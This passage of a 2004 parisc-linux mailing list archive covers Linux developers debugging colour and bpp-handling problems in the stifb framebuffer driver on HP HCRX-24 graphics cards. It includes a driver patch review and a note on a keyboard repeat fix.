X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Penguin color problems on HCRX-24 (was: [parisc-linux] Re: STI 
     crash on B132L with HCRX-24)
Date: Mon, 1 Nov 2004 00:09:07 +0100 (CET)
Lines: 46
Approved: news@gmane.org
Message-ID: <34676.127.0.0.1.1099264147.squirrel@127.0.0.1>
References: <200410292228.14940.j.raspe@t-online.de>
    <200410311312.21653.deller@gmx.de>
    <200410311406.46194.j.raspe@t-online.de>
    <200410311456.50753.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623588 11645 80.91.229.3 (22 Nov 2014 02:33:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:08 +0000 (UTC)
Cc: "Johannes Raspe" <j.raspe@t-online.de>,
 parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <ajwalker@broadpark.no>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30743 invoked by uid 65534); 31 Oct 2004 22:19:05 -0000
Original-Received: from mail.broadpark.no (EHLO mail.broadpark.no) (217.13.4.2)
  by mx0.gmx.net (mx023) with SMTP; 31 Oct 2004 23:19:05 +0100
Original-Received: from tolstoy.puszczka.com (105.80-202-73.nextgentel.com [80.202.73.105])
	by mail.broadpark.no (Postfix) with ESMTP
	id 0FAEF12C5; Sun, 31 Oct 2004 23:19:39 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 8364B7E35; Mon,  1 Nov 2004 00:09:07 +0100 (CET)
Original-Received: from 127.0.0.1
        (SquirrelMail authenticated user andy);
        by www.puszczka.com with HTTP;
        Mon, 1 Nov 2004 00:09:07 +0100 (CET)
In-Reply-To: <200410311456.50753.deller@gmx.de>
User-Agent: SquirrelMail/1.4.3a
X-Mailer: SquirrelMail/1.4.3a
X-Priority: 3 (Normal)
Importance: Normal
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22089

> Hi Johannes,
>
> On Sunday 31 October 2004 14:06, Johannes Raspe wrote:
>> For solving the (cosmetical) penguin-color-problem I took a shot with my
>> digicam and attached it (sorry for poor quality).
>
> I was hoping my last patch would have fixed this too. Oh well :-)
>
> Right now I don't have any real idea why the penguin colors are wrong.
> But I have two assumptions:
> a) cfb_imageblit() works wrong in the current tree with 24/32bpp output
> and 8bpp input on big endian
> b) fb_set_logo_truepalette() creates a wrong palette for 24bpp output [but
> this function seems correct IMHO].
>
> Both of those I'm currently lost without any testing possibility, but I'll
> continue to look into it.
>
> BTW, does everything else seemscorrect wrt. colors on the text console,
> e.g. does midnight command shows blue background ?
>
> Regards,
> Helge
>

Hi Helge,

Will get the HCRX24 in the post tomorrow or Tuesday.

The good news with your latest patch is that an HCRX24 on fb1 doesn't
boot up bright magenta anymore - it comes up black. When the HCRX24 is
fb0 and I run X11,  the colour palette is correct on exit and the
virtual consoles all have correct colours. Excellent!

I get the black for green psychedelic tux on boot like Johannes.

The big problem with HCR24 in 32bpp is that the X server only uses
three quarters of the screen width - the last quarter remains black.
Screen content in the visible three quarters is horizontally squashed (i.e.
the image that would have filled the whole width is displayed in 3/4)
and there are colour artefacts on edges, fonts etc.

cheers,
-Andy



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Penguin color problems on HCRX-24
Date: Mon, 1 Nov 2004 13:45:36 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <200411011345.36889.deller@gmx.de>
References: <200410292228.14940.j.raspe@t-online.de>
	<200410311506.00662.j.raspe@t-online.de>
	<34548.127.0.0.1.1099261219.squirrel@127.0.0.1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_w/ihB0g+84/NQiL"
X-Trace: ger.gmane.org 1416623588 11648 80.91.229.3 (22 Nov 2014 02:33:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Andy Walker" <ajwalker@broadpark.no>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17717 invoked by uid 65534); 1 Nov 2004 12:46:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 01 Nov 2004 13:46:32 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9E2423BDDD; Mon,  1 Nov 2004 05:46:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10838-08; Mon, 1 Nov 2004 05:46:19 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D2F753BE26; Mon,  1 Nov 2004 05:45:58 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11D6F3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 05:45:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10838-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Nov 2004 05:45:53 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 284DF3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 05:45:53 -0700 (MST)
Original-Received: (qmail 15098 invoked by uid 65534); 1 Nov 2004 12:45:51 -0000
Original-Received: from pD9FE701F.dip.t-dialin.net (EHLO p100) (217.254.112.31)
	by mail.gmx.net (mp008) with SMTP; 01 Nov 2004 13:45:51 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <34548.127.0.0.1.1099261219.squirrel@127.0.0.1>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22090

--Boundary-00=_w/ihB0g+84/NQiL
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Sunday 31 October 2004 23:20, Andy Walker wrote:
> I'd like to submit the patch below to sanitize the stifb=bpp:x:y:z option
> handling. The recent patch (by Stuart Brady?) made fb initialization stop
> early once the default sti fb was initialized, possibly leaving other fb's
> uninitialized. 

yes - this is a bug.

> Also the handling of a "global default" bpp was rather wacky, 

I liked that idea. No need to initialize all bpps.

> and some array index/bounds problems were fixed. 

Correct.

> Is initdata guaranteed to be zero'ed? If so then the loop setting all the
> elements of stifb_bpp_pref to zero can be dropped. 

Yes, it's guaranteed.

> The patch has been tested with two fb's, switching console fb either by PDC or using the
> 'sti=' commandline option.

Could you please test the attached patch instead. It is based on your patch, but the "global bpp" is still there.

Helge


--Boundary-00=_w/ihB0g+84/NQiL
Content-Type: text/plain;
  charset="utf-8";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="diff"

Index: drivers/video/stifb.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/video/stifb.c,v
retrieving revision 1.13
diff -u -p -r1.13 stifb.c
--- drivers/video/stifb.c	31 Oct 2004 21:07:55 -0000	1.13
+++ drivers/video/stifb.c	1 Nov 2004 12:40:26 -0000
@@ -1411,21 +1411,27 @@ stifb_init(void)
 	
 	def_sti = sti_get_rom(0);
 	if (def_sti) {
-		for (i = 1; i < MAX_STI_ROMS; i++) {
+		/* initialize default sti before all others */
+		for (i = 1; i <= MAX_STI_ROMS; i++) {
 			sti = sti_get_rom(i);
-			if (sti == def_sti && bpp > 0)
-				stifb_force_bpp[i] = bpp;
+			if (sti != def_sti)
+				continue;
+			if (bpp > 0)
+				stifb_force_bpp[i-1] = bpp;
+			stifb_init_fb(def_sti, stifb_force_bpp[i-1]);
+			break;
 		}
-		stifb_init_fb(def_sti, stifb_force_bpp[i]);
 	}
 
-	for (i = 1; i < MAX_STI_ROMS; i++) {
+	for (i = 1; i <= MAX_STI_ROMS; i++) {
 		sti = sti_get_rom(i);
-		if (!sti || sti==def_sti)
+		if (!sti)
 			break;
+		if (sti == def_sti)
+			continue;
 		if (bpp > 0)
-			stifb_force_bpp[i] = bpp;
-		stifb_init_fb(sti, stifb_force_bpp[i]);
+			stifb_force_bpp[i-1] = bpp;
+		stifb_init_fb(sti, stifb_force_bpp[i-1]);
 	}
 	return 0;
 }

--Boundary-00=_w/ihB0g+84/NQiL
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_w/ihB0g+84/NQiL--



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Penguin color problems on HCRX-24
Date: Mon, 1 Nov 2004 15:03:39 +0100 (CET)
Lines: 66
Approved: news@gmane.org
Message-ID: <7738.193.160.141.5.1099317819.squirrel@193.160.141.5>
References: <200410292228.14940.j.raspe@t-online.de>
    <200410311506.00662.j.raspe@t-online.de>
    <34548.127.0.0.1.1099261219.squirrel@127.0.0.1>
    <200411011345.36889.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623589 11649 80.91.229.3 (22 Nov 2014 02:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:09 +0000 (UTC)
Cc: "Johannes Raspe" <j.raspe@t-online.de>,
 parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <ajwalker@broadpark.no>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9886 invoked by uid 65534); 1 Nov 2004 13:13:26 -0000
Original-Received: from mail.broadpark.no (EHLO mail.broadpark.no) (217.13.4.2)
  by mx0.gmx.net (mx026) with SMTP; 01 Nov 2004 14:13:26 +0100
Original-Received: from tolstoy.puszczka.com (105.80-202-73.nextgentel.com [80.202.73.105])
	by mail.broadpark.no (Postfix) with ESMTP
	id A3C174321; Mon,  1 Nov 2004 14:14:07 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 644C07E35; Mon,  1 Nov 2004 15:03:39 +0100 (CET)
Original-Received: from 193.160.141.5
        (SquirrelMail authenticated user andy);
        by www.puszczka.com with HTTP;
        Mon, 1 Nov 2004 15:03:39 +0100 (CET)
In-Reply-To: <200411011345.36889.deller@gmx.de>
User-Agent: SquirrelMail/1.4.3a
X-Mailer: SquirrelMail/1.4.3a
X-Priority: 3 (Normal)
Importance: Normal
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22091

> On Sunday 31 October 2004 23:20, Andy Walker wrote:
>> I'd like to submit the patch below to sanitize the stifb=bpp:x:y:z
>> option
>> handling. The recent patch (by Stuart Brady?) made fb initialization
>> stop
>> early once the default sti fb was initialized, possibly leaving other
>> fb's
>> uninitialized.
>
> yes - this is a bug.
>
>> Also the handling of a "global default" bpp was rather wacky,
>
> I liked that idea. No need to initialize all bpps.
>
>> and some array index/bounds problems were fixed.
>
> Correct.
>
>> Is initdata guaranteed to be zero'ed? If so then the loop setting all
>> the
>> elements of stifb_bpp_pref to zero can be dropped.
>
> Yes, it's guaranteed.
>
>> The patch has been tested with two fb's, switching console fb either by
>> PDC or using the
>> 'sti=' commandline option.
>
> Could you please test the attached patch instead. It is based on your
> patch, but the "global bpp" is still there.
>
> Helge
>

Hi Helge,

The logic is all wrong though IMHO. What it say is:

- If I have specified a bpp for *ANY* fb, then default
  the others to their "capability" - for HCRX24 this is 32.

- If I have not specified any bpp's then default to 8bpp
  on all.

e.g. with a Vis-EG on fb0 and an HCRX24's on fb1 and the commandline:

  stif=bpp:8

fb0 comes up 8bpp and fb1 comes up 32bpp, but with no commandline
they both come up 8bpp. That's weird.

My change made the logic:

- Default all fb's to their "capability", except where the
  user says otherwise for a given fb (you can default an fb
  by setting 0 e.g. stifb=bpp=0:8).

By "capability" I mean the default value in sti_init_fb.

I can live with either solution though, as long as the code
works as advertised :-)

-Andy



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Penguin color problems on HCRX-24
Date: Mon, 1 Nov 2004 18:21:33 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <200411011821.34099.deller@gmx.de>
References: <200410292228.14940.j.raspe@t-online.de>
	<200411011345.36889.deller@gmx.de>
	<7738.193.160.141.5.1099317819.squirrel@193.160.141.5>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623589 11654 80.91.229.3 (22 Nov 2014 02:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Andy Walker" <ajwalker@broadpark.no>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1220 invoked by uid 65534); 1 Nov 2004 17:22:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 01 Nov 2004 18:22:47 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 19DAD3BD42; Mon,  1 Nov 2004 10:22:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14858-08; Mon, 1 Nov 2004 10:22:12 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AF33A3BDFC; Mon,  1 Nov 2004 10:21:49 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28CA43BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 10:21:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14959-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Nov 2004 10:21:45 -0700 (MST)
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 39FC73BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 10:21:44 -0700 (MST)
Original-Received: (qmail 28954 invoked by uid 65534); 1 Nov 2004 17:21:42 -0000
Original-Received: from pD9FE7677.dip.t-dialin.net (EHLO p100) (217.254.118.119)
	by mail.gmx.net (mp003) with SMTP; 01 Nov 2004 18:21:42 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <7738.193.160.141.5.1099317819.squirrel@193.160.141.5>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22092

On Monday 01 November 2004 15:03, Andy Walker wrote:
> Hi Helge,
> 
> The logic is all wrong though IMHO. What it say is:
> 
> - If I have specified a bpp for *ANY* fb, then default
>   the others to their "capability" - for HCRX24 this is 32.
> 
> - If I have not specified any bpp's then default to 8bpp
>   on all.
> 
> e.g. with a Vis-EG on fb0 and an HCRX24's on fb1 and the commandline:
> 
>   stif=bpp:8
> 
> fb0 comes up 8bpp and fb1 comes up 32bpp, but with no commandline
> they both come up 8bpp. That's weird.
> 
> My change made the logic:
> 
> - Default all fb's to their "capability", except where the
>   user says otherwise for a given fb (you can default an fb
>   by setting 0 e.g. stifb=bpp=0:8).

Ok - please commit your patch, but without this unnecessary part:
+       for (i = 0; i < MAX_STI_ROMS; i++)
+               stifb_bpp_pref[i] = 0;

Rgs,
Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: No keyboard repeat (was: [parisc-linux] No "#/'" and "<>|" keys
	with german HIL-keyboard)
Date: Mon, 1 Nov 2004 18:58:18 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <200411011858.18394.deller@gmx.de>
References: <200410311421.17271.j.raspe@t-online.de>
	<200410311920.33777.deller@gmx.de>
	<200410312125.22181.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623589 11657 80.91.229.3 (22 Nov 2014 02:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Johannes Raspe <j.raspe@t-online.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30217 invoked by uid 65534); 1 Nov 2004 17:59:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 01 Nov 2004 18:59:16 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9E2133BE2B; Mon,  1 Nov 2004 10:59:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15650-01; Mon, 1 Nov 2004 10:58:59 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EF8E83BE27; Mon,  1 Nov 2004 10:58:32 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C067F3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 10:58:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15301-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Nov 2004 10:58:27 -0700 (MST)
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id D49113BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 10:58:26 -0700 (MST)
Original-Received: (qmail 17812 invoked by uid 65534); 1 Nov 2004 17:58:25 -0000
Original-Received: from pD9FE7473.dip.t-dialin.net (EHLO p100) (217.254.116.115)
	by mail.gmx.net (mp019) with SMTP; 01 Nov 2004 18:58:25 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <200410312125.22181.j.raspe@t-online.de>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22093

On Sunday 31 October 2004 21:25, Johannes Raspe wrote:
> Just one other little problem: the keypresses are not repeated (console and X). 
> I  tried "kbdrate" but this does nothing.
> Is this a kernel related or a configuration problem?

it was a kernel problem - it's fixed now in CVS HEAD (2.6.10-rc1-pa8).

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Patch for stifb=bpp:x:y handling
Date: Mon, 1 Nov 2004 23:12:04 +0100 (CET)
Lines: 104
Approved: news@gmane.org
Message-ID: <36432.127.0.0.1.1099347124.squirrel@127.0.0.1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_20041101231204_87131"
X-Trace: ger.gmane.org 1416623589 11660 80.91.229.3 (22 Nov 2014 02:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:09 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>
To: "Matthew Wilcox" <matthew@wil.cx>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <ajwalker@broadpark.no>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11365 invoked by uid 65534); 1 Nov 2004 21:21:43 -0000
Original-Received: from mail.broadpark.no (EHLO mail.broadpark.no) (217.13.4.2)
  by mx0.gmx.net (mx028) with SMTP; 01 Nov 2004 22:21:43 +0100
Original-Received: from tolstoy.puszczka.com (105.80-202-73.nextgentel.com [80.202.73.105])
	by mail.broadpark.no (Postfix) with ESMTP
	id B506D7A28; Mon,  1 Nov 2004 22:22:31 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id C73437E35; Mon,  1 Nov 2004 23:12:04 +0100 (CET)
Original-Received: from 127.0.0.1
        (SquirrelMail authenticated user andy);
        by www.puszczka.com with HTTP;
        Mon, 1 Nov 2004 23:12:04 +0100 (CET)
User-Agent: SquirrelMail/1.4.3a
X-Mailer: SquirrelMail/1.4.3a
X-Priority: 3 (Normal)
Importance: Normal
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22094

------=_20041101231204_87131
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

> ---------------------------- Original Message
---------------------------- > Subject: Re: Penguin color problems on
HCRX-24
> From:    "Helge Deller" <deller@gmx.de>
> Date:    Mon, November 1, 2004 6:21 pm
> To:      "Andy Walker" <ajwalker@broadpark.no>
> Cc:      "Johannes Raspe" <j.raspe@t-online.de>
>          parisc-linux@lists.parisc-linux.org
> --------------------------------------------------------------------------
>
> On Monday 01 November 2004 15:03, Andy Walker wrote:
>> Hi Helge,
>>
>> The logic is all wrong though IMHO. What it say is:
>>
>> - If I have specified a bpp for *ANY* fb, then default
>>   the others to their "capability" - for HCRX24 this is 32.
>>
>> - If I have not specified any bpp's then default to 8bpp
>>   on all.
>>
>> e.g. with a Vis-EG on fb0 and an HCRX24's on fb1 and the commandline:
>>
>>   stif=bpp:8
>>
>> fb0 comes up 8bpp and fb1 comes up 32bpp, but with no commandline they
>> both come up 8bpp. That's weird.
>>
>> My change made the logic:
>>
>> - Default all fb's to their "capability", except where the
>>   user says otherwise for a given fb (you can default an fb
>>   by setting 0 e.g. stifb=bpp=0:8).
>
> Ok - please commit your patch, but without this unnecessary part:
